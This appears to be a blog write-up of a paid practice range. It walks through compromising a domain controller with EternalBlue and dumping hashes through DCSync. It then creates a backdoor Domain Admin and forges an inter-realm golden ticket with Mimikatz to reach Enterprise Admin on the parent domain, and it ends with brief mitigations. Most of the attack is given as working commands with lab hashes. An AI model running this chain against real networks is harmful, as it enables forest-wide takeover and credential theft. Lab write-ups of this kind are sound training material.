TL;DR grabbing the krbtgt isn’t just for forging Golden Tickets, it’s also for abusing trust relationships & pivoting to other domains.
Spoiler Alert
If you plan on doing SlayerLabs Kinetic range then don’t read this yet.
Background
We were recently invited to a free trial of the SlayerLabs Kinetic range. This range consists of 25 Windows systems, spread across 5 domains. Overall I would recommend them, particularly at their price point of $14 for one month of access. Like most ranges they simply utilize OpenVPN, so setup is no issue.
I used the same Kali VM I used for eJPT. I use it regularly for THM as well of course, and occasionally for testing things in the home lab. I made a few tweaks to the ‘out of the box’ Kali VM that were quite handy for this exercise. I added evil-winrm to Kali and staged tools like RSAT and Invoke-Mimikatz.ps1 in a folder on Kali.
Initial exploitation
I setup the free OpenVAS on Kali so I could simply vulnerability scan the range. There was a fair amount of Google and trial & error involved in setting up OpenVAS, so that’s better left for a separate howto.
Two systems immediately jumped out, and one of those two was a Domain Controller. It was obvious that it was because it was named DCZERO.
msfconsole
use exploit/windows/smb/ms17_010_psexec
set RHOST 10.65.20.30
set LHOST 172.18.0.77
run
Post exploitation
We got a Meterpreter shell as system, great. As you can tell above though I’m used to doing this on a system that is not a DC. On a DC you want to
load kiwi
dcsync administrator@zero.arc.corp
dcsync krbtgt@zero.arc.corp
This is because hashdump is dumping the SAM, and as we saw in an earlier howto the SAM contains the DSRM administrator, NOT the Administrator account in AD. Hence it’s not really the one we want.
We can use ‘the Administrator’ account’s NTLM to login. Once we do that we will go ahead and create a user, make them a Domain Admin, and enable RDP.
evil-winrm -i 10.65.20.30 -u administrator -H cfc6cfd8dac90dd87ba5cc8b4ad35a82
New-ADUser -Name "Mishky" -AccountPassword(ConvertTo-SecureString -AsPlainText "Password00" -Force) -Enabled $true
Add-ADGroupMember -Identity "Domain Admins" -Members "Mishky"
Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' -name "fDenyTSConnections" -value 0 ; Enable-NetFirewallRule -DisplayGroup "Remote Desktop"We can then get a nice GUI, copy/paste Invoke-Mimikatz.ps1, and start enumerating. We can also dump all the domain accounts and their NTLM via secretsdump on Kali.
cd /home/kali/Downloads/impacket-master/examples
python3 secretsdump.py -just-dc-ntlm zero/mishky@10.65.20.30
xfreerdp /v:10.65.20.30 /u:mishky /p:Password00Alternatively, if one prefers to use the builtin Administrator account:
xfreerdp /v:10.65.20.30 /u:Administrator /pth: cfc6cfd8dac90dd87ba5cc8b4ad35a82We can now run PowerShell_ISE on DCZERO directly and we don’t have the Kerberos double hop problem. Nice :D
Pivoting to the parent domain
We can assume that the zero domain is a child based solely on it’s full name; zero.arc.corp. However we can easily confirm this, grab the parent domain DC’s name, and trust relationship using Active Directory Users & Computers (ADUC) and Active Directory Domains and Trusts.
So we have a trust relationship, and we own one of the domains. There’s a short list of what we need to forge an inter-realm ticket:
- The child domain’s full name
- Both domain’s SIDs
- The child domain’s krbtgt NTLM
One can use the simple queries below to get both domain’s SIDs.
Get-ADDomain | Select-Object DistinguishedName, DomainSID
Get-ADDomain -Server DCARC | Select-Object DistinguishedName, DomainSID
Given this you can forge a ticket and give yourself Enterprise Admin rights on the parent domain. I got the exact syntax below from CRTP. The breakdown is simple:
- The sid is the child domain [in this case zero.arc.corp]
- The sids is the parent domain [in this case arc.corp]
- The krbtgt is the zero domain’s [that we grabbed earlier via Meterpreter & secretsdump]
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:zero.arc.corp /sid:S-1–5–21–3128073206–3686985830–824703377 /sids:S-1–5–21–1970956415–843115013–4046186837–519 /krbtgt:4f79191a1ceafadd15de32fb617ce29c /ticket:C:\Users\Administrator\Documents\krbtgt_tkt.kirbi"'
Invoke-Mimikatz -Command '"kerberos::ptt C:\Users\Administrator\Documents\krbtgt_tkt.kirbi"'Following this we have Enterprise Admin rights on the parent domain, however we don’t have a ‘real, legit’ session.
So what to do? The CRTP course wanted us to create a scheduled task on the parent domain’s DC that would get us a reverse shell. I never really liked this TTP myself though, particularly in these hands on exam/range/CTF scenarios where you don’t get any extra points for being sneaky. Hence I figured why not just create another account, just like we did before in the child domain?
New-ADUser -Server DCARC -Name "Mishky" -AccountPassword(Read-Host -AsSecureString "Input Password") -Enabled $true
Add-ADGroupMember -Server DCARC -Identity "Enterprise Admins" -Members "Mishky"
Now we can do a real, legitimate login as an Enterprise Admin on the parent domain :D
This means we can easily do secretsdump from Kali.
Mitigations
This part is simple:
- Make sure your DCs are patched!
- Audit who can DCSync
- Audit who can modify the Domain Admins group [and other builtin HVT groups like Administrators]
- Audit who can screw with the Domain Controllers OU
If an attacker can get a Meterpreter shell open on a DC then you’re done. If an attacker can DCSync then you’re done. In this case detection is a distant second to prevention. By the time you detect this the attacker will have already run ransomware domain, or forest, wide.
Summary
CRTP was a bit different than this as all the systems in that course and exam are fully patched. CRTP was all about AD enumeration and ‘The Credential Theft Shuffle’.
SlayerLabs on the other hand requires you to gain that initial foot hold. This is definitely not my strong suite.
However once you do gain that, then the process is the same. Hence I figured I’d post my notes on this since I never got around to doing so after CRTP.
References
Kerberos double hop: https://techcommunity.microsoft.com/t5/ask-the-directory-services-team/understanding-kerberos-double-hop/ba-p/395463
AD trust relationships: http://www.techiebird.com/wintrust.html
AD well known SIDs: https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/understand-security-identifiers
